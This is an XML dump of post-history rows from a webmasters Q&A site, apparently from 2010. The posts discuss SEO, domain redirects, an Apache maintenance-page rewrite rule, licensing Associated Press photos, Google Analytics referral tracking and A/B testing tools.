  <row Id="9193" PostHistoryTypeId="2" PostId="4642" RevisionGUID="a9a3ed07-0864-4e1e-8bfa-3fde715d7a84" CreationDate="2010-10-29T19:49:07.737" UserId="1079" Text="According to their [FAQ][1] you need to submit a request in writing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ap.org/pages/about/faq.html#6" />
  <row Id="9194" PostHistoryTypeId="5" PostId="4640" RevisionGUID="aca0c2dd-d996-4f0b-ab34-2f7bded25438" CreationDate="2010-10-29T19:50:49.590" UserId="2730" Comment="added 8 characters in body" Text="There was an article last week on SEO-Moz - [Exact Match Domains][1]. So it would seem that having a domain that matches your keyword is not negligible. It wont bring you to #1, but it helps a little bit to get there (it seems).&#xD;&#xA;&#xD;&#xA;But it will only help you if it appears in the search results, thus you will need to move your website to the new domain. This means that you need to make your previous domain have 301 redirects to the new domain so you will not loose your PR and Google Ranking for your existing pages.&#xD;&#xA;&#xD;&#xA;Google Webmaster Tools has a section with additional information that can help you do the website redirect without breaking your current rankings, but it is still a risky process.&#xD;&#xA;&#xD;&#xA;In your question you wanted the other domain to redirect to yours -- it will have no effect, since the newly bought &quot;better&quot; domain name will not appear in Google results. &#xD;&#xA;&#xD;&#xA;Having a better domain name, makes it *bold* in the results. And more people might actually remember it and come directly next time. If you have a possibility to buy usedcars.com or used-cars.com, do it - and move your website to the new domain dumping the old one.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seomoz.org/blog/exact-match-domains-are-far-too-powerful-is-their-time-limited" />
  <row Id="9195" PostHistoryTypeId="2" PostId="4643" RevisionGUID="b0c40d15-0587-4fd9-91fe-6cf62ab29bad" CreationDate="2010-10-29T20:19:08.867" UserId="1064" Text="I just use both with this custom addition to the theme's search.php file:&#xD;&#xA;&#xD;&#xA;    &lt;div id=&quot;googleResults&quot;&gt;&#xD;&#xA;    	&lt;h2&gt;Google Search&lt;/h2&gt;&#xD;&#xA;    	&lt;iframe id=&quot;gcs&quot; src=&quot;&lt;?php&#xD;&#xA;    		$url_iframe .= 'http://www.google.com/cse?';&#xD;&#xA;    		$url_iframe .= 'title=Search_Results&amp;';&#xD;&#xA;    		$url_iframe .= 'cx=' . $google_code_cx . '&amp;';&#xD;&#xA;    		$url_iframe .= 'cof=' . $google_code_cof;&#xD;&#xA;    		$url_iframe .= 'q=' . urlencode( get_search_query() ) . '&amp;';&#xD;&#xA;    		$url_iframe .= 'sa=Search&amp;';&#xD;&#xA;    		$url_iframe .= 'siteurl=' . urlencode($_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] ) . '&amp;';&#xD;&#xA;    		$url_iframe .= 'ad=w9&amp;num=10';&#xD;&#xA;    		echo htmlspecialchars( $url_iframe );&#xD;&#xA;    	?&gt;&quot;&gt;&lt;/iframe&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;... add some CSS styling and some show/hide functionality with Javascript and your visitors get all the search they need (and then some)." />
  <row Id="9196" PostHistoryTypeId="5" PostId="4505" RevisionGUID="c3ee7671-4ce7-40a2-a52f-aa7942af51ef" CreationDate="2010-10-29T20:36:21.123" UserId="1064" Comment="Removed mention of meta robots" Text="Here's how I've managed this in the past w/Apache (with no apparent change to ranking):&#xD;&#xA;&#xD;&#xA;**1.** Create a maintenance page with a defined open/close for the maintenance window - make the maintenance window about twice the amount of time you anticipate maintenance to last so you can roll-back if necessary&#xD;&#xA;&#xD;&#xA;**2.** Rewrite rule to direct traffic to maintenance page:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{REMOTE_ADDR} !^1\.2\.3\.4&#xD;&#xA;    RewriteCond %{REQUEST_URI} !maintenance\.html$&#xD;&#xA;    RewriteRule .* /maintenance.html [L,R=307]&#xD;&#xA;&#xD;&#xA;(Where `1\.2\.3\.4` is a regexp for your IP)&#xD;&#xA;&#xD;&#xA;**3.** Complete maintenance and testing, comment out rewrite directives&#xD;&#xA;&#xD;&#xA;The [307 Temporary][1] redirect is, to the best of my knowledge, the proper response header for a maintenance situation, I've never seen any problems with maintenance lasting 1-3 hours on moderately busy sites (i.e. 100-500 users/hour).&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;Per John Mueller's comments, you should also configure your webserver to throw a 503 error with a Retry-After timeframe to indicate that spiders should not cache the contents of the maintenance page.&#xD;&#xA;&#xD;&#xA;To this end, you could follow [AskApache's 503/Retry-After HowTo][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.3.8&#xD;&#xA;  [2]: http://www.askapache.com/htaccess/503-service-temporarily-unavailable.html" />
  <row Id="9197" PostHistoryTypeId="5" PostId="4639" RevisionGUID="2ee914d4-52fc-4b9d-98e0-b4a2b68bb63d" CreationDate="2010-10-29T21:02:19.023" UserId="108" Comment="added 2 characters in body" Text="Not sure if this is the correct SE site to ask the question, but I am kinda unclear on how/if I can use AP photos.  There are quite a few sites that use it with a credit underneath it.  Is that enough?  Do you still need the express written consent they talk about on their site?  Does anyone run a site using AP photos?  Thanks!&#xD;&#xA;&#xD;&#xA;ps can't create tags, so someone feel free to correctly tag this" />
  <row Id="9198" PostHistoryTypeId="2" PostId="4644" RevisionGUID="38f7fa59-a4ff-4802-96c5-6c263f5a2caf" CreationDate="2010-10-29T21:26:03.853" UserId="2730" Text="1. Can other websites on your shared host affect the rank of your website in the Google index? (same IP address as yours, potentially malicious/low-trust content)&#xD;&#xA;&#xD;&#xA;2. Can other websites on your IP class affect the rank of your website in the Google index? (different actual IP, malicious/low-trust content)&#xD;&#xA;&#xD;&#xA;Clarification: Domain class, is what you get when you run a whois query on an IP address.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    NetRange:       69.163.128.0 - 69.163.255.255&#xD;&#xA;    CIDR:           69.163.128.0/17&#xD;&#xA;&#xD;&#xA;PS: Prefer answers with experience or links to trustworthy material, over speculations, assumptions and gut feelings." />
  <row Id="9199" PostHistoryTypeId="1" PostId="4644" RevisionGUID="38f7fa59-a4ff-4802-96c5-6c263f5a2caf" CreationDate="2010-10-29T21:26:03.853" UserId="2730" Text="Is your IP address neighborhood important for SEO?" />
  <row Id="9200" PostHistoryTypeId="3" PostId="4644" RevisionGUID="38f7fa59-a4ff-4802-96c5-6c263f5a2caf" CreationDate="2010-10-29T21:26:03.853" UserId="2730" Text="&lt;seo&gt;" />
  <row Id="9201" PostHistoryTypeId="2" PostId="4645" RevisionGUID="10c13fdf-b519-4879-b72b-3c28e34e9c7d" CreationDate="2010-10-29T22:02:46.573" UserId="1253" Text="No. Thousands of websites can be on one IP Address it naturally would not make sense to penalize thousands of unrelated websites because one user on that IP or IP block is using black hat SEO, etc. &#xD;&#xA;&#xD;&#xA;To be considered in a bad neighborhood you must actively establish a relationship to their sites in the neighborhood. This is usually done through interlinking although I am sure there are other ways to identify/create a relationship. In these cases IP addresses will be a supporting factor in linking sites in a bad neighborhood together. But by itself it definitely will not affect your rankings or invoke IP-wide penalties." />
  <row Id="9202" PostHistoryTypeId="5" PostId="4645" RevisionGUID="5ddb65b6-52a1-45e2-8ec7-36eca5c7b2ed" CreationDate="2010-10-29T22:09:12.123" UserId="1253" Comment="added 125 characters in body" Text="No. Thousands of websites can be on one IP Address it naturally would not make sense to penalize thousands of unrelated websites because one user on that IP or IP block is using black hat SEO, etc. &#xD;&#xA;&#xD;&#xA;To be considered in a bad neighborhood you must actively establish a relationship to their sites in the neighborhood. This is usually done through interlinking although I am sure there are other ways to identify/create a relationship. In these cases IP addresses will be a supporting factor in linking sites in a bad neighborhood together. But by itself it definitely will not affect your rankings or invoke IP-wide penalties.&#xD;&#xA;&#xD;&#xA;[Possibly Helpful Link][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/forum/p/Webmasters/thread?tid=0fbd4ebce13ff798&amp;hl=en" />
  <row Id="9203" PostHistoryTypeId="2" PostId="4646" RevisionGUID="9c689643-09d7-4fda-9db4-166dcf651c59" CreationDate="2010-10-29T23:37:16.017" UserId="1064" Text="&gt; Is your IP address neighborhood&#xD;&#xA;&gt; important for SEO?&#xD;&#xA;&#xD;&#xA;It's mentioned in [US Patent Application #20050071741 &quot;Information retrieval based on historical data&quot;][1] (recommended reading if you're concerned with how Google works)&#xD;&#xA;&#xD;&#xA;&gt; In one implementation, a list of&#xD;&#xA;&gt; known-bad contact information, name&#xD;&#xA;&gt; servers, and/or IP addresses may be&#xD;&#xA;&gt; identified, stored, and used in&#xD;&#xA;&gt; predicting the legitimacy of a domain&#xD;&#xA;&gt; and, thus, the documents associated&#xD;&#xA;&gt; therewith.&#xD;&#xA;&#xD;&#xA;... but that doesn't mean that Google presently uses the implementation described - still, why bother hosting in a bad neighborhood (which comes with *all kinds* of *fun* problems like [e-mail delivery][2], regular SSH brute force scans, DDoS retaliation against your DoS'ing neighbors, et cetera) when there are plenty of other neighborhoods to choose from?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://appft1.uspto.gov/netacgi/nph-Parser?Sect1=PTO1&amp;Sect2=HITOFF&amp;d=PG01&amp;p=1&amp;u=%2Fnetahtml%2FPTO%2Fsrchnum.html&amp;r=1&amp;f=G&amp;l=50&amp;s1=%2220050071741%22.PGNR.&amp;OS=DN/20050071741&amp;RS=DN/20050071741&#xD;&#xA;  [2]: http://www.mxtoolbox.com/blacklists.aspx" />
  <row Id="9204" PostHistoryTypeId="2" PostId="4647" RevisionGUID="9b5ffd07-7656-43c6-b3af-27892620ec33" CreationDate="2010-10-30T01:15:21.047" UserId="1206" Text="**Newspapers or TV stations** can enter into agreements between the Associated Press and their organization for content licensing. However, since you asked only about images, I'm assuming that you're not an online newspaper. &#xD;&#xA;&#xD;&#xA;Besides for that, there are **two options**:&#xD;&#xA;&#xD;&#xA;**First**, and I [quote the AP](http://www.ap.org/pages/about/faq.html#5):  &#xD;&#xA;&gt;If you are not a member of The Associated Press, but want to receive AP news for your Web site or wireless service, company intranet, desktop or other interactive application, you can contact AP Digital by e-mail at *APDigital@ap.org*.&#xD;&#xA;&#xD;&#xA;You may be able to discuss multiple image licensing with AP Digital, if that is what you want (as I understand from your comment on BenV's answer).&#xD;&#xA;&#xD;&#xA;**Second**, as [John Conde points out](http://webmasters.stackexchange.com/questions/4639/using-associated-press-photos/#4641), [AP Images](apimages@ap.org) may be able to help you out as well, and they may also be able to answer questions about multiple image licensing.&#xD;&#xA;&#xD;&#xA;Or, if for some odd reason you should prefer to use traditional mail (dunno why since you're here on Webmasters, but still), AP's licensing division can be reached at:&#xD;&#xA;&#xD;&#xA;&gt; Copyright  &#xD;&#xA;&gt; The Associated Press  &#xD;&#xA;&gt; 450 W. 33rd St.  &#xD;&#xA; &gt; New York, NY 10001&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9205" PostHistoryTypeId="2" PostId="4648" RevisionGUID="c4062523-6161-40fa-b874-87d56e7b8cca" CreationDate="2010-10-30T04:59:10.740" UserId="55" Text="It sounds like HM is encountering a limitation in their hosting automation software. Add on domains are typically configured first as subdomains for the parent domain, and then aliased via CNAME and virtual host directives in the web server's configuration. So yes, you are correct, switching them around is entirely possible. This is also why 'add on' domains are usually a bad idea, and not just because they take a few extra lookups to resolve.&#xD;&#xA;&#xD;&#xA;However, switching them around in a way that is agreeable with their control panel / automation software (this actually reminds me of an old C-Panel glitch) might _not_ be possible for them, but that doesn't rule out other possibilities:&#xD;&#xA;&#xD;&#xA; 1. They could copy your files to a safe place and re-make your account the way you want it&#xD;&#xA; 2. They could pass this issue to their vendor for a solution&#xD;&#xA; 3. They could migrate domains individually to separate hosting accounts&#xD;&#xA;&#xD;&#xA;In other words, there is ample opportunity for them to not only correct this issue, but also sell an upgrade. It is perfectly acceptable for them to say &quot;The best way to do this is upgrade you to an x-y-z account, where all of your domains have separate controls, this will eliminate the problem in the future&quot;&#xD;&#xA;&#xD;&#xA;I would attempt to reach some kind of supervisor on their end and see if you can get some sort of resolution." />
  <row Id="9206" PostHistoryTypeId="2" PostId="4649" RevisionGUID="828e4790-b5d1-40f6-9214-c11d0c95df7e" CreationDate="2010-10-30T09:27:56.670" UserDisplayName="Morisa Cavallo" Text="We are looking for Helpdesk Software that can allow us managing support for multiples companies, We found that Cerberus and Vision Helpdesk offers such features. We tried demo of both helpdesk softwares found Cerberus bit shabby and difficult user interface. &#xD;&#xA;&#xD;&#xA;Has someone used this softwares if Yes can you guide us which one is best for managing support for multiple companies?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9207" PostHistoryTypeId="1" PostId="4649" RevisionGUID="828e4790-b5d1-40f6-9214-c11d0c95df7e" CreationDate="2010-10-30T09:27:56.670" UserDisplayName="Morisa Cavallo" Text="Compare Cerberus Vs Vision Helpdesk" />
  <row Id="9208" PostHistoryTypeId="3" PostId="4649" RevisionGUID="828e4790-b5d1-40f6-9214-c11d0c95df7e" CreationDate="2010-10-30T09:27:56.670" UserDisplayName="Morisa Cavallo" Text="&lt;web-development&gt;&lt;php&gt;&lt;custom-software&gt;" />
  <row Id="9209" PostHistoryTypeId="10" PostId="4649" RevisionGUID="2c0f314e-0f51-4a92-8974-e74d5dbafc97" CreationDate="2010-10-30T09:31:27.123" UserId="3" CloseReasonId="2" Text="[{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;Jeff Atwood&quot;}]" />
  <row Id="9210" PostHistoryTypeId="2" PostId="4650" RevisionGUID="b270fa5f-3f2d-4cc1-b1ef-9b612e230aaa" CreationDate="2010-10-30T10:46:51.797" UserId="1953" Text="I agree with danlefree in that you should have clients create their own accounts and add you as a viewer or admin (alternatively if your client is not comfortable doing that you can get the same result by creating the account and adding them).&#xD;&#xA;&#xD;&#xA;In terms of accounts and profiles each account should be for a domain name and each profile can be for that domain just including different data. Some uses I've seen for profiles are to track secondary content like a facebook page associated with that domain, or I believe it's intended use is for more advanced filtering IE you can set it to only collect data on visits coming from a certain source (google, a subdomain, a country etc.) or if you were setting up an advanced filter to see estimated rankings for google organic as described here http://yoast.com/track-seo-rankings-google-analytics/ you would most likely want to run it on it's own profile so it wouldn't impact the rest of your data." />
  <row Id="9211" PostHistoryTypeId="2" PostId="4651" RevisionGUID="9859e58e-0680-4180-923d-9cc58ff2ed99" CreationDate="2010-10-30T10:58:41.007" UserId="1953" Text="Without seeing the site I'd guess you have more links going to the tags pages, and might want to modify your internal site structure. You can add some of the posts you want to rank higher to your home page via a top posts or popular posts type plugin, you can also do some cross linking from some of your other posts that have decent backlinks via a related posts type plugin, and build external links to some of your best post content. &#xD;&#xA;&#xD;&#xA;If your certain your post pages would rank if it weren't for your tags pages then you can add the noindex, follow meta tag to your tags pages this will keep Google from using these pages in their index but still follow the links to your post pages. Alternatively you could nofollow your tag links in the site navigation and in the post content this should remove the value your internal links are giving those pages.&#xD;&#xA;&#xD;&#xA;I would recommend boosting your post pages over lowering your tag pages but either way should get the job done." />
  <row Id="9218" PostHistoryTypeId="5" PostId="4500" RevisionGUID="238195be-df98-49ba-9788-5182321552c6" CreationDate="2010-10-30T12:04:01.567" UserId="1757" Comment="add meebo" Text="[Another question][1] someone posted got me thinking, what are the social media integration solutions that everyone uses? The most common solutions I've come across are the content-sharing buttons:&#xD;&#xA;&#xD;&#xA; - [ShareThis][2]&#xD;&#xA; - [AddThis][3]&#xD;&#xA; - [AddToAny][4]&#xD;&#xA;&#xD;&#xA;How many of you use these or other social media integration solutions? Or do you just create your own sharing buttons? What advantages are there to using these 3rd-party solutions versus creating your own buttons using Facebook/Del.icio.us/Digg/etc.'s code?&#xD;&#xA;&#xD;&#xA;Another solution I've been coming across more and more, and that I really dislike, are those [fixed social][5] [media toolbars][6] that many sites put at the bottom of your screen. They stick out like a sore thumb and take up valuable screen real-estate and just look very tacky IMO. How many people use those, and what advantage do you see to using those branded social sharing toolbars?&#xD;&#xA;&#xD;&#xA;Are there any other solutions out there that you guys would recommend?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/4497/addthis-button-default-message&#xD;&#xA;  [2]: http://sharethis.com/&#xD;&#xA;  [3]: http://addthis.com&#xD;&#xA;  [4]: http://www.addtoany.com&#xD;&#xA;  [5]: http://bar.meebo.com/&#xD;&#xA;  [6]: http://www.wibiya.com/" />
  <row Id="9219" PostHistoryTypeId="2" PostId="4654" RevisionGUID="791ce53d-9c98-4487-bdfa-2b22234e44ba" CreationDate="2010-10-30T13:05:40.373" UserId="2730" Text="Note about Facebook share buttons, you can control the link text that will appear on facebook when people share your content. To make facebook read your guidelines from your website you need to use several &lt;meta&gt; tags.&#xD;&#xA;&#xD;&#xA;Facebook describe their tags on the [OpenGraph Protocol][1] page. If you believe that facebook links are good for SEO, you might want to optimize the anchor texts. Otherwise it is just generally good to control what text friends of your users see when your content is shared.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Regarding the original question, I am still trying to find a solution that will get added within a noindex,nofollow iframe to my pages. Since by using [SexyBookmarks][2] I found in Google Webmaster Tools that the most relevant words to my blog posts are &quot;png&quot;, &quot;sexybookmarks&quot;, etc... and it just feels very wrong to see that in there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developers.facebook.com/docs/opengraph&#xD;&#xA;  [2]: http://wordpress.org/extend/plugins/sexybookmarks/" />
  <row Id="9221" PostHistoryTypeId="2" PostId="4656" RevisionGUID="0cb794b3-8ed2-4cac-b39a-3b3ead80ec46" CreationDate="2010-10-30T13:30:38.563" UserId="2730" Text="If you have a situation where developers/managers have several things in mind for a certain page, then A/B testing with enough user traffic is a good way to try and decide what works better.&#xD;&#xA;&#xD;&#xA;If the decisions are mandated, and there is not all that much room to experiment (the truth of most webdev shops) then superficial A/B testing will not bring the results you might expect.&#xD;&#xA;&#xD;&#xA;The trick of A/B testing is getting enough statistical data, and then analyzing the results - where analysis is the hard part. So setting up A/B is not all that time consuming next to the time it requires to understand the data.&#xD;&#xA;&#xD;&#xA;You might also want to consider using live usability tests, described on [useit.com][1].&#xD;&#xA;&#xD;&#xA;Or even automated tools like [ClickTale][2] that will show you how users are using your pages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://useit.com&#xD;&#xA;  [2]: http://www.clicktale.com" />
  <row Id="9225" PostHistoryTypeId="2" PostId="4657" RevisionGUID="b37aa86d-745a-495a-a187-f2b0da809a04" CreationDate="2010-10-30T13:41:17.503" UserId="2730" Text="Most search engine robots that crawl the web, look for specific tags within a HTML page. I don't believe they will use your XSL to transform the XML before trying to recognize the tags in that page.&#xD;&#xA;&#xD;&#xA;So if your page has a &amp;lt;title&gt; tag, &amp;lt;h1&gt; tags, quality content in &amp;lt;p&gt; tags, etc...  some robots might understand it as html and index it properly like regular html.&#xD;&#xA;&#xD;&#xA;But why bet on this?&#xD;&#xA;&#xD;&#xA;If you are really concerned about SEO for your website, you should think about transforming these pages on the server and just serve plain html back to the robots and users.&#xD;&#xA;&#xD;&#xA;Also, relying on the browsers to transform your XML+XSL properly (as you expect it) is a bad idea and is most probably broken in more ways than I can even imagine.&#xD;&#xA;&#xD;&#xA;You might also be interested to read the [XML+XSLT: Good SEO? Lets find out!][1] blog post that has a link to a discussion on google webmaster forums.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ginside.com/2007/1257/xml-xslt-good-seo-lets-find-out/ " />
  <row Id="9226" PostHistoryTypeId="2" PostId="4658" RevisionGUID="24297e25-4e1a-4bfc-96e8-6ab7a3c0e1a8" CreationDate="2010-10-30T13:52:57.693" UserId="2730" Text="You will not only need to add the websites, you will also need to add the webmaster tools verification code to each.&#xD;&#xA;&#xD;&#xA;150 websites does not sound like a lot, you might spend a day doing it - but it will take you less time than writing scripts to do it for you. If you have friends who can help - just split the work and ask each of them to add the 50-75 websites on his list.&#xD;&#xA;&#xD;&#xA;If you have 10,000+ websites to add ... then I would suggest writing some script to do it. But for just 150 manually is usually faster." />
  <row Id="9230" PostHistoryTypeId="2" PostId="4659" RevisionGUID="dca80726-138e-4bb0-b2b1-c44aca34ceca" CreationDate="2010-10-30T15:42:56.947" UserId="1953" Text="A/B testing is fairly inexpensive and easy to do these days, you can use Google Website Optimizer which is free or something like virtual website optimizer which have plans going down to $50/month. I recommend A/B testing any goal oriented tasks, (conversions, subscriptions, etc.) at worst you'll get no statistical winner and wasted $50 at best you improve conversion rates and your client makes more money.&#xD;&#xA;&#xD;&#xA;From looking at your description it does sound like they are looking for usability testing rather then conversion optimization. If that's the case I've used both clicktale (already mentioned above) and usertesting.com both are well worth the money in my experience. ustertesting.com allows for easy general usability tests and clicktale allows you to see what actual users are doing.&#xD;&#xA;&#xD;&#xA;You can run both A/B tests and usability tests for less then $500 total, so if the budget is there and you have clear goals then it's absolutely worth it." />
  <row Id="9231" PostHistoryTypeId="2" PostId="4660" RevisionGUID="af0ffbb3-fd9b-4569-ac31-46bec9d8ef29" CreationDate="2010-10-30T16:07:29.443" UserId="40" Text="I have two subdomains for the same website. One has quite a high page rank, the other does not register. Is there anything that I need to think about in regards of SEO in this szenario?" />
  <row Id="9232" PostHistoryTypeId="1" PostId="4660" RevisionGUID="af0ffbb3-fd9b-4569-ac31-46bec9d8ef29" CreationDate="2010-10-30T16:07:29.443" UserId="40" Text="Duplicate subdomains and SEO" />
  <row Id="9233" PostHistoryTypeId="3" PostId="4660" RevisionGUID="af0ffbb3-fd9b-4569-ac31-46bec9d8ef29" CreationDate="2010-10-30T16:07:29.443" UserId="40" Text="&lt;seo&gt;&lt;subdomain&gt;" />
  <row Id="9234" PostHistoryTypeId="2" PostId="4661" RevisionGUID="2e90a55a-5198-455f-a2dd-98774a34fe90" CreationDate="2010-10-30T16:10:29.567" UserId="40" Text="I run both piwik and google analytics on my site. I have noticed that the google analytics data is totally wrong. It does not seem to register any hits while piwik does. What could be wrong?" />
  <row Id="9235" PostHistoryTypeId="1" PostId="4661" RevisionGUID="2e90a55a-5198-455f-a2dd-98774a34fe90" CreationDate="2010-10-30T16:10:29.567" UserId="40" Text="Piwik vs. Google Analytics." />
  <row Id="9236" PostHistoryTypeId="3" PostId="4661" RevisionGUID="2e90a55a-5198-455f-a2dd-98774a34fe90" CreationDate="2010-10-30T16:10:29.567" UserId="40" Text="&lt;google-analytics&gt;" />
  <row Id="9237" PostHistoryTypeId="2" PostId="4662" RevisionGUID="50c2e763-8d0f-44b1-8c8e-013451b3b6e0" CreationDate="2010-10-30T16:50:02.857" UserId="221" Text="One possible explanation is that some of your users block Google Analytics. This is common, for instance, if you use NoScript in Firefox.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9238" PostHistoryTypeId="2" PostId="4663" RevisionGUID="f9f688c9-eccc-4ba1-b381-60294c8cfbf1" CreationDate="2010-10-30T17:13:52.823" UserId="2754" Text="I find the site layout and theming capabilities in Google Sites (found in the Manage Site screen) very limited; for instance, I do not seem to be able to place the horizontal navigation buttons directly to the right of the logo and to customize their style, as well as to use the standard trick of making a horizontally stretchable background image of a box with rounded corners by splitting it into three parts and replicating the middle one, etc.&#xD;&#xA;&#xD;&#xA;Am I missing something? Are there any advanced settings available? Thanks." />
  <row Id="9239" PostHistoryTypeId="1" PostId="4663" RevisionGUID="f9f688c9-eccc-4ba1-b381-60294c8cfbf1" CreationDate="2010-10-30T17:13:52.823" UserId="2754" Text="Customizing Google Sites look and feel" />
  <row Id="9240" PostHistoryTypeId="3" PostId="4663" RevisionGUID="f9f688c9-eccc-4ba1-b381-60294c8cfbf1" CreationDate="2010-10-30T17:13:52.823" UserId="2754" Text="&lt;theme&gt;&lt;google-apps&gt;" />
  <row Id="9241" PostHistoryTypeId="2" PostId="4664" RevisionGUID="457b417e-6991-49cb-9594-27fd1e4aa0ce" CreationDate="2010-10-30T18:17:22.870" UserId="1647" Text="You should avoid to spawn the same website on multiple domains.&#xD;&#xA;&#xD;&#xA;The best things you can do is pick one domain, and make it the default one. Update all the links to reflect the choice.&#xD;&#xA;Then, configure a 301 redirect for each page on all the other domains to the default one.&#xD;&#xA;&#xD;&#xA;Using a server configuration or a script, it's really easy to setup the redirect.&#xD;&#xA;It's just a matter of a few lines of code." />
  <row Id="9242" PostHistoryTypeId="2" PostId="4665" RevisionGUID="1c7d4d6b-0206-4b9f-9d4d-d741602459c8" CreationDate="2010-10-30T18:22:02.587" UserId="1012" Text="When users come directly to `domain.com` or `www.domain.com`, I am redirecting them to `shop.domain.com` via this .htaccess rewrite:&#xD;&#xA;&#xD;&#xA;	RewriteEngine on&#xD;&#xA;	RewriteCond %{HTTP_HOST} ^www.domain.com$ [OR]&#xD;&#xA;	RewriteCond %{HTTP_HOST} ^domain.com$ &#xD;&#xA;	RewriteRule ^(.*)$ http://shop.domain.com/ [R=301,L]&#xD;&#xA;&#xD;&#xA;The content served by shop.domain.com has the following tracking code parameters:&#xD;&#xA;&#xD;&#xA;	var _gaq = _gaq || [];&#xD;&#xA;	_gaq.push(['_setAccount', 'UA-123456-6']);&#xD;&#xA;	_gaq.push(['_setDomainName', '.domain.com']);&#xD;&#xA;	_gaq.push(['_trackPageview']);&#xD;&#xA;&#xD;&#xA;All direct visits that come to `shop.domain.com` as a result of the rewrite from `domain.com` are tracked as referral traffic, showing my own `domain.com` as referral source in Google Amalytics.&#xD;&#xA;&#xD;&#xA;I would like to track these visits as direct traffic.&#xD;&#xA;&#xD;&#xA;How to change the configuration to track mod_rewritten traffic on my subdomain coming from my own domain as direct traffic?" />
  <row Id="9243" PostHistoryTypeId="1" PostId="4665" RevisionGUID="1c7d4d6b-0206-4b9f-9d4d-d741602459c8" CreationDate="2010-10-30T18:22:02.587" UserId="1012" Text="How to track subdomains with Google Analytics while having mod_rewrite redirect to a subdomain?" />
  <row Id="9244" PostHistoryTypeId="3" PostId="4665" RevisionGUID="1c7d4d6b-0206-4b9f-9d4d-d741602459c8" CreationDate="2010-10-30T18:22:02.587" UserId="1012" Text="&lt;google-analytics&gt;&lt;url-rewriting&gt;&lt;referrer&gt;" />
  <row Id="9245" PostHistoryTypeId="2" PostId="4666" RevisionGUID="ab1d9b39-50b9-4f61-8922-8258ebf5b27e" CreationDate="2010-10-30T17:58:26.543" UserDisplayName="selva" Text="i want to list my web page in google,yahoo and other popular search engines first page?what can i do?i am having computer backgruoud? so can you please tell me the ways to SEO? and suggest me if any tutorails need to become well SEO?" />
  <row Id="9246" PostHistoryTypeId="1" PostId="4666" RevisionGUID="ab1d9b39-50b9-4f61-8922-8258ebf5b27e" CreationDate="2010-10-30T17:58:26.543" UserDisplayName="selva" Text="how to get my page in google's,yahoo and other search engines first page?" />
  <row Id="9247" PostHistoryTypeId="3" PostId="4666" RevisionGUID="ab1d9b39-50b9-4f61-8922-8258ebf5b27e" CreationDate="2010-10-30T17:58:26.543" UserDisplayName="selva" Text="&lt;seo&gt;" />
  <row Id="9248" PostHistoryTypeId="17" PostId="4666" RevisionGUID="c0a537f1-f7f1-4f37-8fe4-0385a7b8555b" CreationDate="2010-10-30T19:18:45.663" UserId="-1" Comment="from http://serverfault.com/questions/196468/how-to-get-my-page-in-googles-yahoo-and-other-search-engines-first-page" Text="" />
  <row Id="9249" PostHistoryTypeId="2" PostId="4667" RevisionGUID="f14e7628-f8bf-4de0-b29f-fbc695f6d682" CreationDate="2010-10-30T19:44:16.880" UserId="2730" Text="You can override the referrer that Google Analytics is using, read more in the documentation for [_setReferrerOverride][1].&#xD;&#xA;&#xD;&#xA;To somehow provide this correct referrer, you need to pass it via the 301 redirect. I can suggest adding a query parameter to your redirected url, and writing a javascript snippet that will extract this information from the document.location.&#xD;&#xA;&#xD;&#xA;An example of using mod_rewrite to transfer the referrer:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_REFERER} (.*)&#xD;&#xA;    RewriteRule .* http://shop.domain.com/?from=%1 [R=301,L]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/gaJS/gaJSApiCampaignTracking.html#_gat.GA_Tracker_._setReferrerOverride" />
  <row Id="9250" PostHistoryTypeId="2" PostId="4668" RevisionGUID="232ca0b1-54b4-4401-8589-8de3c9cdd7b8" CreationDate="2010-10-30T19:51:34.250" UserId="2730" Text="There is A LOT of information out there about SEO, and it can be a bit intimidating at first.&#xD;&#xA;&#xD;&#xA;So I suggest you start with a simple explanation that I watched in a video just a couple of days ago.&#xD;&#xA;&#xD;&#xA;Check the video [SEO Your Web Page for Google][1] on wordtracker academy. You can ignore their plug to buy their product, but the general principles are covered and explained quite well.&#xD;&#xA;&#xD;&#xA;Then you will have a direction to search onward and learn more about the topic. I suggest checking websites and blogs on [seomoz.org][2], [seochat.com][3], [wolf-howl.com][4] and many others.&#xD;&#xA;&#xD;&#xA;And Matt Cutts appearing in videos on the [Youtube Google Webmaster Help Channel][5].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wordtracker.com/academy/seo-your-web-page-for-google-video&#xD;&#xA;  [2]: http://www.seomoz.org/&#xD;&#xA;  [3]: http://www.seochat.com/&#xD;&#xA;  [4]: http://www.wolf-howl.com/&#xD;&#xA;  [5]: http://www.youtube.com/user/GoogleWebmasterHelp" />
